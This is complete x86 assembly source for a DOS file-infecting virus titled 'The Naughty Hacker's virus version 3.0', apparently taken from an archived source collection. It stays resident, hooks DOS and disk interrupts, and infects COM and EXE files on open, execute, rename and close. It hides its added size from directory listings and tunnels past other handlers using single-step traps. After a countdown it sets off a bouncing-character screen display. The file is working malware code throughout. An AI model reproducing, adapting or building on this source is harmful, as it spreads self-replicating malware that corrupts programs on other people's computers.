HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/HORSE5.ASM

Assembly Source File | 1980-01-01 | 12KB | 866 lines

    .radix    16

    ;WARNING: THIS IS NOT A BASIC RELEASE BUT A WORK COPY!
    ;It seems that somebody had steal this version and
    ;circulates it now.

    title    The Naughty Hacker's virus version 3.0
    comment / Naughty Hacker wishes you the best ! /

    jmp    start

    virlen    equ    offset endcode-offset begin
    alllen    equ    offset buffer-offset begin

begin   label word

    IP_save dw    20cdh
    CS_save dw    ?
    SS_save dw    ?
    far_push dw    ?
    ident    db    'C'
start:
    call    inf
inf:
    pop    bp
    sub    bp,offset start-offset begin+3
    push    es
    push    ds
    mov    es,es:[2]
    mov    di,start-begin
    push    ds
    push    cs
    pop    ds
    mov    si,di
    add    si,bp
    mov    cx,endcode-inf
    cld
    rep    cmpsb
    pop    ds
    push    ds
    pop    es
    je    run
ina:
    cmp    word ptr [0],20cdh
    je    urud
    jmp    run
urud:
    mov    word ptr cs:[bp+handle-begin],0ffff
    mov    word ptr cs:[bp+counter-begin],2345
    mov    ax,ds
    dec    ax
    mov    ds,ax
    sub    word ptr [3],80
    mov    ax,es:[2]
    sub    ax,80
    mov    es:[2],ax
    push    ax

    sub    di,di
    mov    si,bp
    mov    ds,di
    pop    es
    push    cs
    pop    ds
    mov    cx,alllen
    rep    movsb
    push    cs
    mov    ax,offset run-begin
    add    ax,bp
    push    ax
    push    es
    mov    ax,offset inss-100-3
    push    ax
    retf
run:
    pop    ds
    pop    es
    cmp    byte ptr cs:[bp+ident-begin],'C'
    je    comfile
    mov    dx,cs:[bp+CS_save-begin]
    mov    cx,cs
    sub    cx,word ptr cs:[bp+far_push-begin]
    add    dx,cx
    add    cx,cs:[bp+SS_save-begin]
    cli
    mov    ss,cx
    sti
clear:
    push    dx
    push    word ptr cs:[bp+IP_save-begin]
    call    clearr
    retf
comfile:
    mov    ax,cs:[bp+IP_save-begin]
    mov    [100],ax
    mov    ax,cs:[bp+CS_save-begin]
    mov    [102],ax
    mov    ax,100
    push    ax
    call    clearr
    retn
cur:
    call    exec
    push    bx
    push    es
    push    si
    push    ax
    mov    si,dx
    cmp    byte ptr [si],0ff
    jne    puf
    mov    ah,2f
    call    exec

    mov    al,byte ptr es:[bx+22d+7+1]
    and    al,31d
    cmp    al,31d
    jnz    puf
    cmp    word ptr es:[bx+28d+2+7+1],0
    jne    scs
    cmp    word ptr es:[bx+28d+7+1],virlen*2
    jb    puf
scs:
    sub    word ptr es:[bx+28d+7+1],virlen
    sbb    word ptr es:[bx+28d+2+7+1],0
puf:
    pop    ax
    pop    si
    pop    es
    pop    bx
    iret

inff:
    dec    word ptr cs:[counter-begin]
    jnz    neass
    call    shop
neass:
    cmp    ah,11
    je    cur
    cmp    ah,12
    je    cur

    cmp    ah,4e
    jne    cur1.1
    jmp    cur1
cur1.1:
    cmp    ah,4f
    jne    cur1.2
    jmp    cur1
cur1.2:
    cmp    ah,3ch
    je    create
    cmp    ah,5bh
    je    create

    push    ax
    push    bx
    push    cx
    push    dx
    push    si
    push    di
    push    bp
    push    ds
    push    es

    mov    byte ptr cs:[function-begin],ah

    cmp    ah,3dh
    je    open

    cmp    ah,3e
    je    close_

    cmp    ax,4b00
    je    execute

    cmp    ah,17
    je    ren_FCB

    cmp    ah,56
    je    execute

    cmp    ah,43
    je    execute

here:
    pop    es
    pop    ds
    pop    bp
    pop    di
    pop    si
    pop    dx
    pop    cx
    pop    bx
    pop    ax
    jmp    dword ptr cs:[current_21h-begin]

ren_FCB:
    call    transfer
    call    coont
    jmp    here

create:
    call    exec
    mov    word ptr cs:[handle-begin],ax
    db    0ca,2,0
close_:
    cmp    word ptr cs:[handle-begin],0ffff
    je    here
    cmp    bx,word ptr cs:[handle-begin]
    jne    here
    mov    ah,45
    call    coont
    mov    word ptr cs:[handle-begin],0ffff
    jmp    here
execute:
    mov    ah,3dh
    call    coont
    jmp    here
open:
    call    coont
    jmp    here
cur1:
    call    exec
    pushf
    push    ax
    push    bx
    push    es

    mov    ah,2f
    call    exec

    mov    al,es:[bx+22d]
    and    al,31d
    cmp    al,31d
    jne    puf1

    cmp    es:[bx+28d],0
    jne    scs1
    cmp    es:[bx+26d],virlen*2
    jb    puf1
scs1:
    sub    es:[bx+26d],virlen
    sbb    es:[bx+28d],0
puf1:
    pop    es
    pop    bx
    pop    ax
    popf
    db    0ca,2,0 ;retf 2
coont:
    call    exec
    jnc    ner
    ret
ner:
    mov    bp,ax
    mov    byte ptr cs:[flag-begin],0
    mov    ah,54
    call    exec
    mov    byte ptr cs:[veri-begin],al
    cmp    al,1
    jne    rty
    mov    ax,2e00
    call    exec
rty:
    mov    ax,3508
    call    exec
    mov    word ptr cs:[current_08h-begin],bx
    mov    word ptr cs:[current_08h-begin+2],es
    push    bx
    push    es
    mov    al,21
    call    exec
    push    bx
    push    es
    mov    al,24
    call    exec
    push    bx
    push    es
    mov    al,13
    call    exec
    push    bx
    push    es
    mov    ah,25
    mov    dx,int13h-begin
    push    cs
    pop    ds
    call    exec
    mov    al,21
    lds    dx,cs:[org_21h-begin]
    call    exec
    mov    al,24
    push    cs
    pop    ds
    mov    dx,int24h-begin
    int    21
    mov    al,8
    mov    dx,int08h-begin
    int    21
    mov    bx,bp
    push    bx
    mov    ax,1220
    call    exec2f
    mov    bl,es:[di]
    mov    ax,1216
    call    exec2f
    pop    bx
    add    di,11
    mov    byte ptr es:[di-15d],2
    mov    ax,es:[di]
    mov    dx,es:[di+2]
    cmp    dx,0
    jne    contss
    cmp    ax,virlen
    jnb    contss
    jmp    close
contss:
    cmp    byte ptr cs:[function-begin],3dh
    jne    hhh
    push    di
    add    di,0f
    mov    si,offset fname-begin
    cld
    mov    cx,8+3
    rep    cmpsb
    pop    di
    jne    hhh
    jmp    close
hhh:
    cmp    es:[di+18],'MO'
    jne    a2
    jmp    com
a2:
    cmp    es:[di+18],'EX'
    je    a8
    jmp    close
a8:
    cmp    byte ptr es:[di+17],'E'
    je    a3
    jmp    close
a3:
    call    cont
    cmp    word ptr [si],'ZM'
    je    okk
    cmp    word ptr [si],'MZ'
    je    okk
    jmp    close
 okk:
    cmp    word ptr [si+0c],0
    jne    uuu
    jmp    close
uuu:
    mov    cx,[si+16]
    add    cx,[si+8]
    mov    ax,10
    mul    cx
    add    ax,[si+14]
    adc    dx,0
    mov    cx,es:[di+2]
    sub    cx,dx
    or    cx,cx
    jnz    usm
    mov    cx,es:[di]
    sub    cx,ax
    cmp    cx,virlen-(start-begin)
    jne    usm
    jmp    close
usm:
    mov    byte ptr [ident-begin],'E'
    mov    ax,[si+0e]
    mov    [SS_save-begin],ax
    mov    ax,[si+14]
    mov    [IP_save-begin],ax
    mov    ax,[si+16]
    mov    [CS_save-begin],ax
    mov    ax,es:[di]
    mov    dx,es:[di+2]
    add    ax,virlen
    adc    dx,0
    mov    cx,200
    div    cx
    mov    [si+2],dx
    or    dx,dx
    jz    oj
    inc    ax
oj:
    mov    [si+4],ax
    mov    ax,es:[di]
    mov    dx,es:[di+2]

    mov    cx,4    ;  This could be so:
    mov    bp,ax    ;
    and    bp,0fh    ;  mov  cx,10
lpp:            ;  div  cx
    shr    dx,1    ;
    rcr    ax,1    ;
    loop    lpp    ;
    mov    dx,bp    ;

    sub    ax,[si+8]
    add    dx,start-begin
    adc    ax,0
    mov    [si+14],dx
    mov    [si+16],ax
    mov    word ptr [far_push-begin],ax
    add    ax,200
    mov    [si+0eh],ax
 write:
    sub    cx,cx
    mov    es:[di+4],cx
    mov    es:[di+6],cx
    push    es:[di-2]
    push    es:[di-4]
    xchg    cx,es:[di-0dh]
    push    cx
    mov    ah,40
    mov    dx,buffer-begin
    mov    cx,01bh
    int    21
    cmp    byte ptr cs:[flag-begin],0ff
    jne    ghj
    stc
    jc    exit
ghj:
    mov    ax,es:[di]
    mov    es:[di+4],ax
    mov    ax,es:[di+2]
    mov    es:[di+6],ax
    call    com?
    jne    f2
    sub    es:[di+4],virlen
    sbb    es:[di+6],0
f2:
    mov    ah,40
    sub    dx,dx
    mov    cx,virlen
    int    21
    cmp    byte ptr cs:[flag-begin],0ff
    jne    exit
    stc
 exit:
    pop    cx
    mov    es:[di-0dh],cx
    pop    cx
    pop    dx
    or    byte ptr es:[di-0bh],40
    jc    closed
    call    com?
    jne    f3
    and    cx,31d
    or    cx,2
    jmp    closed
f3:
    or    cx,31d
closed:
    mov    ax,5701
    int    21
close:
    mov    ah,3e
    int    21
    or    byte ptr es:[di-0ch],40

    push    es
    pop    ds
    mov    si,di
    add    si,0f
    mov    di,offset fname-begin
    push    cs
    pop    es
    mov    cx,8+3
    cld
    rep    movsb
    push    cs
    pop    ds

    cmp    byte ptr cs:[flag-begin],0ff
    jne    qw
    mov    ah,0dh
    int    21
qw:
    cmp    byte ptr cs:[veri-begin],1
    jne    rtyyu
    mov    ax,2e01
    call    exec
rtyyu:
    sub    ax,ax
    mov    ds,ax
    cli
    pop    [13*4+2]
    pop    [13*4]
    pop    [24*4+2]
    pop    [24*4]
    pop    [21*4+2]
    pop    [21*4]
    pop    [8*4+2]
    pop    [8*4]
    sti
    retn
 com:
    test    byte ptr es:[di-0dh],4
    jz    esc4
    jmp    close
esc4:
    call    cont
    cmp    byte ptr [si],0e9
    jne    usm2
    mov    ax,es:[di]
        sub     ax,[si+1]
    cmp    ax,virlen-(start-begin-3)
    jne    usm2
    jmp    close
usm2:
    push    si
    cmp    byte ptr es:[di+17],'C'
    jne    esc
    mov    byte ptr [ident-begin],'C'
    lodsw
    mov    cs:[IP_save-begin],ax
    lodsw
    mov    cs:[CS_save-begin],ax
    mov    ax,es:[di]
    cmp    ax,65535d-virlen-1
    pop    si
    jb    esc
    jmp    close
esc:
    add    ax,start-begin-3
    call    com?
    jne    f1
    sub    ax,virlen
f1:
    mov    byte ptr [si],0e9
    mov    word ptr [si+1],ax
    jmp    write
inss:

    sub    ax,ax
    mov    ds,ax

    pushf
    pop    ax
    and    ax,0feff
    push    ax
    popf

    pushf

    mov    [1*4],offset trap-begin
    mov    [1*4+2],cs

    pushf
    pop    ax
    or    ax,100
    push    ax
    popf

    mov    ax,0ffff
    call    dword ptr [21h*4]

    sub    ax,ax
    mov    ds,ax

    pushf
    pop    ax
    and    ax,0feff
    push    ax
    popf

    pushf

    mov    [1*4],offset trap2-begin
    mov    [1*4+2],cs

    pushf
    pop    ax
    or    ax,100
    push    ax
    popf

    mov    ax,0ffff
    call    dword ptr [2fh*4]

    sub    ax,ax
    mov    ds,ax

    pushf
    pop    ax
    and    ax,0feff
    push    ax
    popf

    pushf

    mov    [1*4],offset trap3-begin
    mov    [1*4+2],cs

    pushf
    pop    ax
    or    ax,100
    push    ax
    popf

    sub    ax,ax
    call    dword ptr [13h*4]

    sub    ax,ax
    mov    ds,ax

    les    ax,[21*4]
    mov    word ptr cs:[current_21h-begin],ax
    mov    word ptr cs:[current_21h-begin+2],es
    mov    [21*4],offset inff-begin
    mov    [21*4+2],cs
    retf

trap:
    push    bp
    mov    bp,sp
    push    bx
    cmp    [bp+4],300
    ja    exit2
    mov    bx,[bp+2]
    mov    word ptr cs:[org_21h-begin],bx
    mov    bx,[bp+4]
    mov    word ptr cs:[org_21h-begin+2],bx
    and    [bp+6],0feff
exit2:
    pop    bx
    pop    bp
    iret

trap2:
    push    bp
    mov    bp,sp
    push    bx
    cmp    [bp+4],100
    ja    exit3
    mov    bx,[bp+2]
    mov    word ptr cs:[org_2fh-begin],bx
    mov    bx,[bp+4]
    mov    word ptr cs:[org_2fh-begin+2],bx
    and    [bp+6],0feff
exit3:
    pop    bx
    pop    bp
    iret


trap3:
    push    bp
    mov    bp,sp
    push    bx
    cmp    [bp+4],0C800
    jb    exit4
    mov    bx,[bp+2]
    mov    word ptr cs:[org_13h-begin],bx
    mov    bx,[bp+4]
    mov    word ptr cs:[org_13h-begin+2],bx
    and    [bp+6],0feff
exit4:
    pop    bx
    pop    bp
    iret

exec:
    pushf
    call    dword ptr cs:[org_21h-begin]
    ret


exec2f:
    pushf
    call    dword ptr cs:[org_2fh-begin]
    ret
int08h:
    pushf
    call    dword ptr cs:[current_08h-begin]
    push    ax
    push    ds
    sub    ax,ax
    mov    ds,ax
    cli
    mov    [13*4],offset int13h-begin
    mov    [13*4+2],cs
    mov    [8*4],offset int08h-begin
    mov    [8*4+2],cs
    mov    ax,word ptr cs:[org_21h-begin]
    mov    [21*4],ax
    mov    ax,word ptr cs:[org_21h-begin+2]
    mov    [21*4+2],ax
    mov    [24*4],offset int24h-begin
    mov    [24*4+2],cs
    sti
    pop    ds
    pop    ax
    iret
int24h:
    mov    al,3
    iret
int13h:
    pushf
    call    dword ptr cs:[org_13h-begin]
    jnc    dfg
    mov    byte ptr cs:[flag-begin],0ff
dfg:
    clc
    db    0ca,02,0    ;retf 2

cont:
    sub    ax,ax
    mov    es:[di+4],ax
    mov    es:[di+6],ax
    mov    ah,3f
    mov    cx,01bh
    mov    dx,offset buffer-begin
    mov    si,dx
    int    21
    cmp    byte ptr cs:[flag-begin],0ff
    jne    a1
    stc
    pop    ax
    jmp    close
a1:
        ret
com?:
    cmp    es:[di+0f],'OC'
    jne    zz
    cmp    es:[di+11],'MM'
    jne    zz
    cmp    es:[di+13],'NA'
    jne    zz
    cmp    es:[di+15],' D'
    jne    zz
    cmp    es:[di+17],'OC'
    jne    zz
    cmp    byte ptr es:[di+19],'M'
zz:
    ret
transfer:

    cld
    inc    dx
    mov    si,dx
    mov    di,offset buffer-begin
    push    di
    push    cs
    pop    es
    mov    cx,8
    rep    movsb
    mov    al,'.'
    stosb
    mov    cx,3
    rep    movsb
    mov    al,0
    stosb
    pop    dx
    push    cs
    pop    ds
    mov    ax,3d00
    ret
e1:
    cli
    push ax
    push    di
    push    es
    mov    ax,0b800
    mov    es,ax
    mov    ax,word ptr cs:[pos-begin]
    push    ax
    call    comp
    mov    ax,word ptr cs:[strg-begin]
    stosw
    pop    ax

    or    ah,ah
    jz    s3

    cmp    ah,24d
    jb    s1
s3:
    neg    byte ptr cs:[y-begin]
s1:
    or    al,al
    jz    s4

    cmp    al,79d
    jb    s2
s4:
    neg    byte ptr cs:[x-begin]
s2:
        mov     ah,byte ptr cs:[y-begin]
    mov    al,byte ptr cs:[x-begin]
    add    byte ptr cs:[pos+1-begin],ah
    add    byte ptr cs:[pos-begin],al
    mov    ax,word ptr cs:[pos-begin]
    call    comp
    mov    ax,es:[di]
    mov    word ptr cs:[strg-begin],ax
    mov    es:[di],0f07
    pop    es
    pop    di
    pop    ax
    sti
    iret
comp:
    push    ax
    push    bx
    sub    bh,bh
    mov    bl,al
    mov    al,160d
    mul    ah
    add    ax,bx
    add    ax,bx
    mov    di,ax
    pop    bx
    pop    ax
    ret
shop:
    push    ax
    push    ds
    mov    byte ptr cs:[x-begin],0ff
    mov    byte ptr cs:[y-begin],0ff
    mov    word ptr cs:[pos-begin],1013
    mov    ax,0003
    int    10
    sub    ax,ax
    mov    ds,ax
    cli
    mov    [1c*4],offset e1-begin
    mov    [1c*4+2],cs
    sti
    pop    ds
    pop    ax
    ret
clearr:
    sub    ax,ax
    sub    bx,bx
    sub    cx,cx
    sub    dx,dx
    sub    si,si
    sub    di,di
    sub    bp,bp
    ret

db    666d    ;Foolish ?!! -> dw 666d

db    55,0AA

endcode label    word

    current_21h    dd ?
    current_08h    dd ?
    org_2fh dd    ?
    org_13h dd    ?
    org_21h dd    ?
    flag    db    ?
    veri    db    ?
    handle    dw    0ffff
    fname    db    8+3 dup (?)
    function db    ?
    pos    dw    ?
    x    db    ?
    y    db    ?
    strg    dw    ?
    counter dw    ?

buffer    label word